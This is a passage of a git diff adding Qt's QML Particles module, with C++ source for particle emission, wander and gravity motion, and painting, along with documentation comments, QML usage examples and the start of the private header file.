+ \qmlproperty real ParticleMotionWander::xvariance
+ \qmlproperty real ParticleMotionWander::yvariance
+
+ These properties set the amount to wander in the x and y directions.
+*/
+
+/*!
+ \qmlproperty real ParticleMotionWander::pace
+ This property holds how quickly the paricles will move from side to side.
+*/
+
+void QDeclarativeParticleMotionWander::advance(QDeclarativeParticle &p, int interval)
+{
+ if (!particles)
+ particles = qobject_cast<QDeclarativeParticles*>(parent());
+ if (particles) {
+ Data *d = (Data*)p.data;
+ if (_xvariance != 0.) {
+ qreal xdiff = p.x_velocity - d->x_targetV;
+ if ((xdiff > d->x_peak && d->x_var > 0.0) || (xdiff < -d->x_peak && d->x_var < 0.0)) {
+ d->x_var = -d->x_var;
+ d->x_peak = _xvariance + _xvariance * qreal(qrand()) / RAND_MAX;
+ }
+ p.x_velocity += d->x_var * interval;
+ }
+ p.x += interval * p.x_velocity;
+
+ if (_yvariance != 0.) {
+ qreal ydiff = p.y_velocity - d->y_targetV;
+ if ((ydiff > d->y_peak && d->y_var > 0.0) || (ydiff < -d->y_peak && d->y_var < 0.0)) {
+ d->y_var = -d->y_var;
+ d->y_peak = _yvariance + _yvariance * qreal(qrand()) / RAND_MAX;
+ }
+ p.y_velocity += d->y_var * interval;
+ }
+ p.y += interval * p.y_velocity;
+ }
+}
+
+void QDeclarativeParticleMotionWander::created(QDeclarativeParticle &p)
+{
+ if (!p.data) {
+ Data *d = new Data;
+ p.data = (void*)d;
+ d->x_targetV = p.x_velocity;
+ d->y_targetV = p.y_velocity;
+ d->x_peak = _xvariance;
+ d->y_peak = _yvariance;
+ d->x_var = _pace * qreal(qrand()) / RAND_MAX / 1000.0;
+ d->y_var = _pace * qreal(qrand()) / RAND_MAX / 1000.0;
+ }
+}
+
+void QDeclarativeParticleMotionWander::destroy(QDeclarativeParticle &p)
+{
+ if (p.data)
+ delete (Data*)p.data;
+}
+
+void QDeclarativeParticleMotionWander::setXVariance(qreal var)
+{
+ qreal scaledVar = var / 1000.0;
+ if (qFuzzyCompare(scaledVar, _xvariance))
+ return;
+ _xvariance = scaledVar;
+ emit xvarianceChanged();
+}
+
+void QDeclarativeParticleMotionWander::setYVariance(qreal var)
+{
+ qreal scaledVar = var / 1000.0;
+ if (qFuzzyCompare(scaledVar, _yvariance))
+ return;
+ _yvariance = scaledVar;
+ emit yvarianceChanged();
+}
+
+void QDeclarativeParticleMotionWander::setPace(qreal pace)
+{
+ qreal scaledPace = pace / 1000.0;
+ if (qFuzzyCompare(scaledPace, _pace))
+ return;
+ _pace = scaledPace;
+ emit paceChanged();
+}
+
+//---------------------------------------------------------------------------
+class QDeclarativeParticlesPainter : public QDeclarativeItem
+{
+public:
+ QDeclarativeParticlesPainter(QDeclarativeParticlesPrivate *p, QDeclarativeItem* parent)
+ : QDeclarativeItem(parent), d(p)
+ {
+ setFlag(QGraphicsItem::ItemHasNoContents, false);
+ maxX = minX = maxY = minY = 0;
+ }
+
+ void paint(QPainter *, const QStyleOptionGraphicsItem *, QWidget *);
+
+ void updateSize();
+
+ qreal maxX;
+ qreal minX;
+ qreal maxY;
+ qreal minY;
+ QDeclarativeParticlesPrivate* d;
+};
+
+//an animation that just gives a tick
+template<class T, void (T::*method)(int)>
+class TickAnimationProxy : public QAbstractAnimation
+{
+public:
+ TickAnimationProxy(T *p, QObject *parent = 0) : QAbstractAnimation(parent), m_p(p) {}
+ virtual int duration() const { return -1; }
+protected:
+ virtual void updateCurrentTime(int msec) { (m_p->*method)(msec); }
+
+private:
+ T *m_p;
+};
+
+//---------------------------------------------------------------------------
+class QDeclarativeParticlesPrivate : public QDeclarativeItemPrivate
+{
+ Q_DECLARE_PUBLIC(QDeclarativeParticles)
+public:
+ QDeclarativeParticlesPrivate()
+ : count(1), emissionRate(-1), emissionVariance(0.5), lifeSpan(1000)
+ , lifeSpanDev(1000), fadeInDur(200), fadeOutDur(300)
+ , angle(0), angleDev(0), velocity(0), velocityDev(0), emissionCarry(0.)
+ , addParticleTime(0), addParticleCount(0), lastAdvTime(0)
+ , motion(0), clock(this)
+ {
+ }
+
+ ~QDeclarativeParticlesPrivate()
+ {
+ }
+
+ void init()
+ {
+ Q_Q(QDeclarativeParticles);
+ paintItem = new QDeclarativeParticlesPainter(this, q);
+ }
+
+ void tick(int time);
+ void createParticle(int time);
+ void updateOpacity(QDeclarativeParticle &p, int age);
+
+ QUrl url;
+ QDeclarativePixmap image;
+ int count;
+ int emissionRate;
+ qreal emissionVariance;
+ int lifeSpan;
+ int lifeSpanDev;
+ int fadeInDur;
+ int fadeOutDur;
+ qreal angle;
+ qreal angleDev;
+ qreal velocity;
+ qreal velocityDev;
+ qreal emissionCarry;
+ int addParticleTime;
+ int addParticleCount;
+ int lastAdvTime;
+ QDeclarativeParticleMotion *motion;
+ QDeclarativeParticlesPainter *paintItem;
+
+
+ QList<QPair<int, int> > bursts;//countLeft, emissionRate pairs
+ QList<QDeclarativeParticle> particles;
+ TickAnimationProxy<QDeclarativeParticlesPrivate, &QDeclarativeParticlesPrivate::tick> clock;
+
+};
+
+void QDeclarativeParticlesPrivate::tick(int time)
+{
+ Q_Q(QDeclarativeParticles);
+ if (!motion)
+ motion = new QDeclarativeParticleMotionLinear(q);
+
+ int oldCount = particles.count();
+ int removed = 0;
+ int interval = time - lastAdvTime;
+ for (int i = 0; i < particles.count(); ) {
+ QDeclarativeParticle &particle = particles[i];
+ int age = time - particle.birthTime;
+ if (age >= particle.lifeSpan) {
+ QDeclarativeParticle part = particles.takeAt(i);
+ motion->destroy(part);
+ ++removed;
+ } else {
+ updateOpacity(particle, age);
+ motion->advance(particle, interval);
+ ++i;
+ }
+ }
+
+ if(emissionRate == -1)//Otherwise leave emission to the emission rate
+ while(removed-- && ((count == -1) || particles.count() < count))
+ createParticle(time);
+
+ if (!addParticleTime)
+ addParticleTime = time;
+
+ //Possibly emit new particles
+ if (((count == -1) || particles.count() < count) && emissionRate
+ && !(count==-1 && emissionRate==-1)) {
+ int emissionCount = -1;
+ if (emissionRate != -1){
+ qreal variance = 1.;
+ if (emissionVariance > 0.){
+ variance += (qreal(qrand())/RAND_MAX) * emissionVariance * (qrand()%2?-1.:1.);
+ }
+ qreal emission = emissionRate * (qreal(interval)/1000.);
+ emission = emission * variance + emissionCarry;
+ double tmpDbl;
+ emissionCarry = modf(emission, &tmpDbl);
+ emissionCount = (int)tmpDbl;
+ emissionCount = qMax(0,emissionCount);
+ }
+ while(((count == -1) || particles.count() < count) &&
+ (emissionRate==-1 || emissionCount--))
+ createParticle(time);
+ }
+
+ //Deal with emissions from requested bursts
+ for(int i=0; i<bursts.size(); i++){
+ int emission = 0;
+ if(bursts[i].second == -1){
+ emission = bursts[i].first;
+ }else{
+ qreal variance = 1.;
+ if (emissionVariance > 0.){
+ variance += (qreal(qrand())/RAND_MAX) * emissionVariance * (qrand()%2?-1.:1.);
+ }
+ qreal workingEmission = bursts[i].second * (qreal(interval)/1000.);
+ workingEmission *= variance;
+ emission = (int)workingEmission;
+ emission = qMax(emission, 0);
+ }
+ emission = qMin(emission, bursts[i].first);
+ bursts[i].first -= emission;
+ while(emission--)
+ createParticle(time);
+ }
+ for(int i=bursts.size()-1; i>=0; i--)
+ if(bursts[i].first <= 0)
+ bursts.removeAt(i);
+
+ lastAdvTime = time;
+ paintItem->updateSize();
+ paintItem->update();
+ if (!(oldCount || particles.count()) && (!count || !emissionRate) && bursts.isEmpty()) {
+ lastAdvTime = 0;
+ clock.stop();
+ }
+}
+
+void QDeclarativeParticlesPrivate::createParticle(int time)
+{
+ Q_Q(QDeclarativeParticles);
+ QDeclarativeParticle p(time);
+ p.x = q->x() + q->width() * qreal(qrand()) / RAND_MAX - image.width()/2.0;
+ p.y = q->y() + q->height() * qreal(qrand()) / RAND_MAX - image.height()/2.0;
+ p.lifeSpan = lifeSpan;
+ if (lifeSpanDev)
+ p.lifeSpan += int(lifeSpanDev/2 - lifeSpanDev * qreal(qrand()) / RAND_MAX);
+ p.fadeOutAge = p.lifeSpan - fadeOutDur;
+ if (fadeInDur == 0.) {
+ p.state= QDeclarativeParticle::Solid;
+ p.opacity = 1.0;
+ }
+ qreal a = angle;
+ if (angleDev)
+ a += angleDev/2 - angleDev * qreal(qrand()) / RAND_MAX;
+ if (a > M_PI)
+ a = a - 2 * M_PI;
+ qreal v = velocity;
+ if (velocityDev)
+ v += velocityDev/2 - velocityDev * qreal(qrand()) / RAND_MAX;
+ p.x_velocity = v * fastCos(a);
+ p.y_velocity = v * fastSin(a);
+ particles.append(p);
+ motion->created(particles.last());
+}
+
+void QDeclarativeParticlesPrivate::updateOpacity(QDeclarativeParticle &p, int age)
+{
+ switch (p.state) {
+ case QDeclarativeParticle::FadeIn:
+ if (age <= fadeInDur) {
+ p.opacity = qreal(age) / fadeInDur;
+ break;
+ } else {
+ p.opacity = 1.0;
+ p.state = QDeclarativeParticle::Solid;
+ // Fall through
+ }
+ case QDeclarativeParticle::Solid:
+ if (age <= p.fadeOutAge) {
+ break;
+ } else {
+ p.state = QDeclarativeParticle::FadeOut;
+ // Fall through
+ }
+ case QDeclarativeParticle::FadeOut:
+ p.opacity = qreal(p.lifeSpan - age) / fadeOutDur;
+ break;
+ }
+}
+
+/*!
+ \qmlclass Particles QDeclarativeParticles
+ \ingroup qml-particle-elements
+ \since 4.7
+ \brief The Particles object generates and moves particles.
+ \inherits Item
+
+ Particles are available in the \bold{Qt.labs.particles 1.0} module.
+ \e {Elements in the Qt.labs module are not guaranteed to remain compatible
+ in future versions.}
+
+ This element provides preliminary support for particles in QML,
+ and may be heavily changed or removed in later versions.
+
+ The particles created by this object cannot be dealt with
+ directly, they can only be controlled through the parameters of
+ the Particles object. The particles are all the same pixmap,
+ specified by the user.
+
+ The particles are painted relative to the parent of the Particles
+ object. Moving the Particles object will not move the particles
+ already emitted.
+
+ The below example creates two differently behaving particle
+ sources. The top one has particles falling from the top like
+ snow, the lower one has particles expelled up like a fountain.
+
+ \qml
+import QtQuick 1.0
+import Qt.labs.particles 1.0
+
+Rectangle {
+ width: 240
+ height: 320
+ color: "black"
+ Particles {
+ y: 0
+ width: parent.width
+ height: 30
+ source: "star.png"
+ lifeSpan: 5000
+ count: 50
+ angle: 70
+ angleDeviation: 36
+ velocity: 30
+ velocityDeviation: 10
+ ParticleMotionWander {
+ xvariance: 30
+ pace: 100
+ }
+ }
+ Particles {
+ y: 300
+ x: 120
+ width: 1
+ height: 1
+ source: "star.png"
+ lifeSpan: 5000
+ count: 200
+ angle: 270
+ angleDeviation: 45
+ velocity: 50
+ velocityDeviation: 30
+ ParticleMotionGravity {
+ yattractor: 1000
+ xattractor: 0
+ acceleration: 25
+ }
+ }
+}
+ \endqml
+ \image particles.gif
+*/
+
+QDeclarativeParticles::QDeclarativeParticles(QDeclarativeItem *parent)
+ : QDeclarativeItem(*(new QDeclarativeParticlesPrivate), parent)
+{
+ Q_D(QDeclarativeParticles);
+ d->init();
+}
+
+QDeclarativeParticles::~QDeclarativeParticles()
+{
+}
+
+/*!
+ \qmlproperty string Particles::source
+ This property holds the URL of the particle image.
+*/
+
+/*!
+ \property QDeclarativeParticles::source
+ \brief the URL of the particle image.
+*/
+QUrl QDeclarativeParticles::source() const
+{
+ Q_D(const QDeclarativeParticles);
+ return d->url;
+}
+
+void QDeclarativeParticles::imageLoaded()
+{
+ Q_D(QDeclarativeParticles);
+ if (d->image.isError())
+ qmlInfo(this) << d->image.error();
+ d->paintItem->updateSize();
+ d->paintItem->update();
+}
+
+void QDeclarativeParticles::setSource(const QUrl &name)
+{
+ Q_D(QDeclarativeParticles);
+
+ if ((d->url.isEmpty() == name.isEmpty()) && name == d->url)
+ return;
+
+ if (name.isEmpty()) {
+ d->url = name;
+ d->image.clear(this);
+ d->paintItem->updateSize();
+ d->paintItem->update();
+ } else {
+ d->url = name;
+ Q_ASSERT(!name.isRelative());
+ d->image.load(qmlEngine(this), d->url);
+ if (d->image.isLoading()) {
+ d->image.connectFinished(this, SLOT(imageLoaded()));
+ } else {
+ if (d->image.isError())
+ qmlInfo(this) << d->image.error();
+ //### unify with imageLoaded
+ d->paintItem->updateSize();
+ d->paintItem->update();
+ }
+ }
+ emit sourceChanged();
+}
+
+/*!
+ \qmlproperty int Particles::count
+ This property holds the maximum number of particles
+
+ The particles element emits particles until it has count active
+ particles. When this number is reached, new particles are not emitted until
+ some of the current particles reach the end of their lifespan.
+
+ If count is -1 then there is no maximum number of active particles, and
+ particles will be constantly emitted at the rate specified by emissionRate.
+
+ The default value for count is 1.
+
+ If both count and emissionRate are set to -1, nothing will be emitted.
+
+*/
+
+/*!
+ \property QDeclarativeParticles::count
+ \brief the maximum number of particles
+*/
+int QDeclarativeParticles::count() const
+{
+ Q_D(const QDeclarativeParticles);
+ return d->count;
+}
+
+void QDeclarativeParticles::setCount(int cnt)
+{
+ Q_D(QDeclarativeParticles);
+ if (cnt == d->count)
+ return;
+
+ int oldCount = d->count;
+ d->count = cnt;
+ d->addParticleTime = 0;
+ d->addParticleCount = d->particles.count();
+ if (!oldCount && d->clock.state() != QAbstractAnimation::Running && d->count && d->emissionRate) {
+ d->clock.start();
+ }
+ d->paintItem->updateSize();
+ d->paintItem->update();
+ emit countChanged();
+}
+
+
+/*!
+ \qmlproperty int Particles::emissionRate
+ This property holds the target number of particles to emit every second.
+
+ The particles element will emit up to emissionRate particles every
+ second. Fewer particles may be emitted per second if the maximum number of
+ particles has been reached.
+
+ If emissionRate is set to -1 there is no limit to the number of
+ particles emitted per second, and particles will be instantly emitted to
+ reach the maximum number of particles specified by count.
+
+ The default value for emissionRate is -1.
+
+ If both count and emissionRate are set to -1, nothing will be emitted.
+*/
+
+/*!
+ \property QDeclarativeParticles::emissionRate
+ \brief the emission rate of particles
+*/
+int QDeclarativeParticles::emissionRate() const
+{
+ Q_D(const QDeclarativeParticles);
+ return d->emissionRate;
+}
+void QDeclarativeParticles::setEmissionRate(int er)
+{
+ Q_D(QDeclarativeParticles);
+ if(er == d->emissionRate)
+ return;
+ d->emissionRate = er;
+ if (d->clock.state() != QAbstractAnimation::Running && d->count && d->emissionRate) {
+ d->clock.start();
+ }
+ emit emissionRateChanged();
+}
+
+/*!
+ \qmlproperty real Particles::emissionVariance
+ This property holds how inconsistent the rate of particle emissions are.
+ It is a number between 0 (no variance) and 1 (some variance).
+
+ The expected number of particles emitted per second is emissionRate. If
+ emissionVariance is 0 then particles will be emitted consistently throughout
+ each second to reach that number. If emissionVariance is greater than 0 the
+ rate of particle emission will vary randomly throughout the second, with the
+ consequence that the actual number of particles emitted in one second will
+ vary randomly as well.
+
+ emissionVariance is the maximum deviation from emitting
+ emissionRate particles per second. An emissionVariance of 0 means you should
+ get exactly emissionRate particles emitted per second,
+ and an emissionVariance of 1 means you will get between zero and two times
+ emissionRate particles per second, but you should get emissionRate particles
+ per second on average.
+
+ Note that even with an emissionVariance of 0 there may be some variance due
+ to performance and hardware constraints.
+
+ The default value of emissionVariance is 0.5
+*/
+
+/*!
+ \property QDeclarativeParticles::emissionVariance
+ \brief how much the particle emission amounts vary per tick
+*/
+
+qreal QDeclarativeParticles::emissionVariance() const
+{
+ Q_D(const QDeclarativeParticles);
+ return d->emissionVariance;
+}
+
+void QDeclarativeParticles::setEmissionVariance(qreal ev)
+{
+ Q_D(QDeclarativeParticles);
+ if(d->emissionVariance == ev)
+ return;
+ d->emissionVariance = ev;
+ emit emissionVarianceChanged();
+}
+
+/*!
+ \qmlproperty int Particles::lifeSpan
+ \qmlproperty int Particles::lifeSpanDeviation
+
+ These properties describe the life span of each particle.
+
+ The default lifespan for a particle is 1000ms.
+
+ lifeSpanDeviation randomly varies the lifeSpan up to the specified variation. For
+ example, the following creates particles whose lifeSpan will vary
+ from 150ms to 250ms:
+
+ \qml
+Particles {
+ source: "star.png"
+ lifeSpan: 200
+ lifeSpanDeviation: 100
+}
+ \endqml
+*/
+
+/*!
+ \property QDeclarativeParticles::lifeSpan
+ \brief the life span of each particle.
+
+ Default value is 1000ms.
+
+ \sa QDeclarativeParticles::lifeSpanDeviation
+*/
+int QDeclarativeParticles::lifeSpan() const
+{
+ Q_D(const QDeclarativeParticles);
+ return d->lifeSpan;
+}
+
+void QDeclarativeParticles::setLifeSpan(int ls)
+{
+ Q_D(QDeclarativeParticles);
+ if(d->lifeSpan == ls)
+ return;
+ d->lifeSpan = ls;
+ emit lifeSpanChanged();
+}
+
+/*!
+ \property QDeclarativeParticles::lifeSpanDeviation
+ \brief the maximum possible deviation from the set lifeSpan.
+
+ Randomly varies the lifeSpan up to the specified variation. For
+ example, the following creates particles whose lifeSpan will vary
+ from 150ms to 250ms:
+
+\qml
+Particles {
+ source: "star.png"
+ lifeSpan: 200
+ lifeSpanDeviation: 100
+}
+\endqml
+
+ \sa QDeclarativeParticles::lifeSpan
+*/
+int QDeclarativeParticles::lifeSpanDeviation() const
+{
+ Q_D(const QDeclarativeParticles);
+ return d->lifeSpanDev;
+}
+
+void QDeclarativeParticles::setLifeSpanDeviation(int dev)
+{
+ Q_D(QDeclarativeParticles);
+ if(d->lifeSpanDev == dev)
+ return;
+ d->lifeSpanDev = dev;
+ emit lifeSpanDeviationChanged();
+}
+
+/*!
+ \qmlproperty int Particles::fadeInDuration
+ \qmlproperty int Particles::fadeOutDuration
+ These properties hold the time taken to fade the particles in and out.
+
+ By default fade in is 200ms and fade out is 300ms.
+*/
+
+/*!
+ \property QDeclarativeParticles::fadeInDuration
+ \brief the time taken to fade in the particles.
+
+ Default value is 200ms.
+*/
+int QDeclarativeParticles::fadeInDuration() const
+{
+ Q_D(const QDeclarativeParticles);
+ return d->fadeInDur;
+}
+
+void QDeclarativeParticles::setFadeInDuration(int dur)
+{
+ Q_D(QDeclarativeParticles);
+ if (dur < 0.0 || dur == d->fadeInDur)
+ return;
+ d->fadeInDur = dur;
+ emit fadeInDurationChanged();
+}
+
+/*!
+ \property QDeclarativeParticles::fadeOutDuration
+ \brief the time taken to fade out the particles.
+
+ Default value is 300ms.
+*/
+int QDeclarativeParticles::fadeOutDuration() const
+{
+ Q_D(const QDeclarativeParticles);
+ return d->fadeOutDur;
+}
+
+void QDeclarativeParticles::setFadeOutDuration(int dur)
+{
+ Q_D(QDeclarativeParticles);
+ if (dur < 0.0 || d->fadeOutDur == dur)
+ return;
+ d->fadeOutDur = dur;
+ emit fadeOutDurationChanged();
+}
+
+/*!
+ \qmlproperty real Particles::angle
+ \qmlproperty real Particles::angleDeviation
+
+ These properties control particle direction.
+
+ angleDeviation randomly varies the direction up to the specified variation. For
+ example, the following creates particles whose initial direction will
+ vary from 15 degrees to 105 degrees:
+
+ \qml
+Particles {
+ source: "star.png"
+ angle: 60
+ angleDeviation: 90
+}
+ \endqml
+*/
+
+/*!
+ \property QDeclarativeParticles::angle
+ \brief the initial angle of direction.
+
+ \sa QDeclarativeParticles::angleDeviation
+*/
+qreal QDeclarativeParticles::angle() const
+{
+ Q_D(const QDeclarativeParticles);
+ return d->angle * 180.0 / M_PI;
+}
+
+void QDeclarativeParticles::setAngle(qreal angle)
+{
+ Q_D(QDeclarativeParticles);
+ qreal radAngle = angle * M_PI / 180.0;
+ if(radAngle == d->angle)
+ return;
+ d->angle = radAngle;
+ emit angleChanged();
+}
+
+/*!
+ \property QDeclarativeParticles::angleDeviation
+ \brief the maximum possible deviation from the set angle.
+
+ Randomly varies the direction up to the specified variation. For
+ example, the following creates particles whose initial direction will
+ vary from 15 degrees to 105 degrees:
+
+\qml
+Particles {
+ source: "star.png"
+ angle: 60
+ angleDeviation: 90
+}
+\endqml
+
+ \sa QDeclarativeParticles::angle
+*/
+qreal QDeclarativeParticles::angleDeviation() const
+{
+ Q_D(const QDeclarativeParticles);
+ return d->angleDev * 180.0 / M_PI;
+}
+
+void QDeclarativeParticles::setAngleDeviation(qreal dev)
+{
+ Q_D(QDeclarativeParticles);
+ qreal radDev = dev * M_PI / 180.0;
+ if(radDev == d->angleDev)
+ return;
+ d->angleDev = radDev;
+ emit angleDeviationChanged();
+}
+
+/*!
+ \qmlproperty real Particles::velocity
+ \qmlproperty real Particles::velocityDeviation
+
+ These properties control the velocity of the particles.
+
+ velocityDeviation randomly varies the velocity up to the specified variation. For
+ example, the following creates particles whose initial velocity will
+ vary from 40 to 60.
+
+ \qml
+Particles {
+ source: "star.png"
+ velocity: 50
+ velocityDeviation: 20
+}
+ \endqml
+*/
+
+/*!
+ \property QDeclarativeParticles::velocity
+ \brief the initial velocity of the particles.
+
+ \sa QDeclarativeParticles::velocityDeviation
+*/
+qreal QDeclarativeParticles::velocity() const
+{
+ Q_D(const QDeclarativeParticles);
+ return d->velocity * 1000.0;
+}
+
+void QDeclarativeParticles::setVelocity(qreal velocity)
+{
+ Q_D(QDeclarativeParticles);
+ qreal realVel = velocity / 1000.0;
+ if(realVel == d->velocity)
+ return;
+ d->velocity = realVel;
+ emit velocityChanged();
+}
+
+/*!
+ \property QDeclarativeParticles::velocityDeviation
+ \brief the maximum possible deviation from the set velocity.
+
+ Randomly varies the velocity up to the specified variation. For
+ example, the following creates particles whose initial velocity will
+ vary from 40 to 60.
+
+\qml
+Particles {
+ source: "star.png"
+ velocity: 50
+ velocityDeviation: 20
+}
+\endqml
+
+ \sa QDeclarativeParticles::velocity
+*/
+qreal QDeclarativeParticles::velocityDeviation() const
+{
+ Q_D(const QDeclarativeParticles);
+ return d->velocityDev * 1000.0;
+}
+
+void QDeclarativeParticles::setVelocityDeviation(qreal velocity)
+{
+ Q_D(QDeclarativeParticles);
+ qreal realDev = velocity / 1000.0;
+ if(realDev == d->velocityDev)
+ return;
+ d->velocityDev = realDev;
+ emit velocityDeviationChanged();
+}
+
+/*!
+ \qmlproperty ParticleMotion Particles::motion
+ This property sets the type of motion to apply to the particles.
+
+ When a particle is created it will have an initial direction and velocity.
+ The motion of the particle during its lifeSpan is then influenced by the
+ motion property.
+
+ Default motion is ParticleMotionLinear.
+*/
+
+/*!
+ \property QDeclarativeParticles::motion
+ \brief sets the type of motion to apply to the particles.
+
+ When a particle is created it will have an initial direction and velocity.
+ The motion of the particle during its lifeSpan is then influenced by the
+ motion property.
+
+ Default motion is QDeclarativeParticleMotionLinear.
+*/
+QDeclarativeParticleMotion *QDeclarativeParticles::motion() const
+{
+ Q_D(const QDeclarativeParticles);
+ return d->motion;
+}
+
+void QDeclarativeParticles::setMotion(QDeclarativeParticleMotion *motion)
+{
+ Q_D(QDeclarativeParticles);
+ if (motion == d->motion)
+ return;
+ d->motion = motion;
+ emit motionChanged();
+}
+
+/*!
+ \qmlmethod Particles::burst(int count, int emissionRate)
+
+ Initiates a burst of particles.
+
+ This method takes two arguments. The first argument is the number
+ of particles to emit and the second argument is the emissionRate for the
+ burst. If the second argument is omitted, it is treated as -1. The burst
+ of particles has a separate emissionRate and count to the normal emission of
+ particles. The burst uses the same values as normal emission for all other
+ properties, including emissionVariance.
+
+ The normal emission of particles will continue during the burst, however
+ the particles created by the burst count towards the maximum number used by
+ normal emission. To avoid this behavior, use two Particles elements.
+
+*/
+void QDeclarativeParticles::burst(int count, int emissionRate)
+{
+ Q_D(QDeclarativeParticles);
+ d->bursts << qMakePair(count, emissionRate);
+ if (d->clock.state() != QAbstractAnimation::Running)
+ d->clock.start();
+}
+
+void QDeclarativeParticlesPainter::updateSize()
+{
+ if (!d->componentComplete)
+ return;
+
+ const int parentX = parentItem()->x();
+ const int parentY = parentItem()->y();
+ for (int i = 0; i < d->particles.count(); ++i) {
+ const QDeclarativeParticle &particle = d->particles.at(i);
+ if(particle.x > maxX)
+ maxX = particle.x;
+ if(particle.x < minX)
+ minX = particle.x;
+ if(particle.y > maxY)
+ maxY = particle.y;
+ if(particle.y < minY)
+ minY = particle.y;
+ }
+
+ int myWidth = (int)(maxX-minX+0.5)+d->image.width();
+ int myX = (int)(minX - parentX);
+ int myHeight = (int)(maxY-minY+0.5)+d->image.height();
+ int myY = (int)(minY - parentY);
+ setWidth(myWidth);
+ setHeight(myHeight);
+ setX(myX);
+ setY(myY);
+}
+
+void QDeclarativeParticles::paint(QPainter *p, const QStyleOptionGraphicsItem *, QWidget *)
+{
+ Q_UNUSED(p);
+ //painting is done by the ParticlesPainter, so it can have the right size
+}
+
+void QDeclarativeParticlesPainter::paint(QPainter *p, const QStyleOptionGraphicsItem *, QWidget *)
+{
+ if (d->image.isNull() || d->particles.isEmpty())
+ return;
+
+ const int myX = x() + parentItem()->x();
+ const int myY = y() + parentItem()->y();
+
+ QVarLengthArray<QPainter::PixmapFragment, 256> pixmapData;
+ pixmapData.resize(d->particles.count());
+
+ const QRectF sourceRect = d->image.rect();
+ qreal halfPWidth = sourceRect.width()/2.;
+ qreal halfPHeight = sourceRect.height()/2.;
+ for (int i = 0; i < d->particles.count(); ++i) {
+ const QDeclarativeParticle &particle = d->particles.at(i);
+ pixmapData[i].x = particle.x - myX + halfPWidth;
+ pixmapData[i].y = particle.y - myY + halfPHeight;
+ pixmapData[i].opacity = particle.opacity;
+
+ //these never change
+ pixmapData[i].rotation = 0;
+ pixmapData[i].scaleX = 1;
+ pixmapData[i].scaleY = 1;
+ pixmapData[i].sourceLeft = sourceRect.left();
+ pixmapData[i].sourceTop = sourceRect.top();
+ pixmapData[i].width = sourceRect.width();
+ pixmapData[i].height = sourceRect.height();
+ }
+ p->drawPixmapFragments(pixmapData.data(), d->particles.count(), d->image);
+}
+
+void QDeclarativeParticles::componentComplete()
+{
+ Q_D(QDeclarativeParticles);
+ QDeclarativeItem::componentComplete();
+ if (d->count && d->emissionRate) {
+ d->paintItem->updateSize();
+ d->clock.start();
+ }
+ if (d->lifeSpanDev > d->lifeSpan)
+ d->lifeSpanDev = d->lifeSpan;
+}
+
+QT_END_NAMESPACE
diff --git a/src/imports/particles/qdeclarativeparticles_p.h b/src/imports/particles/qdeclarativeparticles_p.h
new file mode 100644
index 00000000..0a2b6d8d
--- /dev/null
+++ b/src/imports/particles/qdeclarativeparticles_p.h
@@ -0,0 +1,258 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEPARTICLES_H
+#define QDECLARATIVEPARTICLES_H
+
+#include <QtDeclarative/qdeclarativeitem.h>
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+class QDeclarativeParticle;
+class QDeclarativeParticles;
+class QDeclarativeParticleMotion : public QObject
+{
+ Q_OBJECT
+public:
+ QDeclarativeParticleMotion(QObject *parent=0);
+
+ virtual void advance(QDeclarativeParticle &, int interval);
+ virtual void created(QDeclarativeParticle &);
+ virtual void destroy(QDeclarativeParticle &);
+};
+
+class QDeclarativeParticleMotionLinear : public QDeclarativeParticleMotion
+{
+ Q_OBJECT
+public:
+ QDeclarativeParticleMotionLinear(QObject *parent=0)
+ : QDeclarativeParticleMotion(parent) {}
+
+ virtual void advance(QDeclarativeParticle &, int interval);
+};
+
+class QDeclarativeParticleMotionGravity : public QDeclarativeParticleMotion
+{
+ Q_OBJECT
+
+ Q_PROPERTY(qreal xattractor READ xAttractor WRITE setXAttractor NOTIFY xattractorChanged)
+ Q_PROPERTY(qreal yattractor READ yAttractor WRITE setYAttractor NOTIFY yattractorChanged)
+ Q_PROPERTY(qreal acceleration READ acceleration WRITE setAcceleration NOTIFY accelerationChanged)
+public:
+ QDeclarativeParticleMotionGravity(QObject *parent=0)
+ : QDeclarativeParticleMotion(parent), _xAttr(0.0), _yAttr(0.0), _accel(0.00005) {}
+
+ qreal xAttractor() const { return _xAttr; }
+ void setXAttractor(qreal x);
+
+ qreal yAttractor() const { return _yAttr; }
+ void setYAttractor(qreal y);
+
+ qreal acceleration() const { return _accel * 1000000; }
+ void setAcceleration(qreal accel);
+
+ virtual void advance(QDeclarativeParticle &, int interval);
+
+Q_SIGNALS:
+ void xattractorChanged();
+ void yattractorChanged();
+ void accelerationChanged();
+
+private:
+ qreal _xAttr;
+ qreal _yAttr;
+ qreal _accel;
+};
+
+class QDeclarativeParticleMotionWander : public QDeclarativeParticleMotion
+{
+ Q_OBJECT
+public:
+ QDeclarativeParticleMotionWander()
+ : QDeclarativeParticleMotion(), particles(0), _xvariance(0), _yvariance(0), _pace(100) {}
+
+ virtual void advance(QDeclarativeParticle &, int interval);
+ virtual void created(QDeclarativeParticle &);
+ virtual void destroy(QDeclarativeParticle &);
+
+ struct Data {
+ qreal x_targetV;
+ qreal y_targetV;
+ qreal x_peak;
+ qreal y_peak;
+ qreal x_var;
+ qreal y_var;
+ };
+
